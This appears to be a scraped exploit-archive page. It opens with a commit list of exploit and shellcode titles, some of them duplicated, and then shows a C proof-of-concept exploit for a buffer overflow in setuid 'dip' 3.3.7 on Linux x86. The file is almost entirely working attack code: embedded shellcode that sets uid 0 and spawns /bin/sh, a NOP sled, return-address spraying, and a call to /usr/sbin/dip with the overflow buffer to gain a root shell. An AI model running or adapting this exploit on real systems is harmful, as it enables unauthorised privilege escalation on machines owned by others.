880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
54 lines
No EOL
1.2 KiB
C
54 lines
No EOL
1.2 KiB
C
// source: https://www.securityfocus.com/bid/86/info
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A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf()' in line 192 in 'main.c':
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sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);
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/* Linux x86 dip 3.3.7p exploit by pr10n */
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#include <stdio.h>
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#define NOP 0x90
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/*thanks to hack.co.za*/
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char shellcode[] =
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"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
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"\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
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"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
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"\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
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unsigned long get_sp(void){ __asm__("movl %esp, %eax");}
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main(int argc, char *argv[]){
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char buf[136];
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int i;
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int offset=0,*ptr;
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long ret;
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if(argc!=2){
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printf("usage: %s offset\n",argv[0]);
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exit(0);}
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offset=atoi(argv[1]);
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ret=(get_sp()-offset);
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for(i=1;i<136;i+=4){
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*(long *)&buf[i]=ret;}
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printf("\nusing: 0x%x\n\n",ret);
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for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++)
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buf[i]=NOP;
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memcpy(buf+i,shellcode,strlen(shellcode));
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execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0);
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} |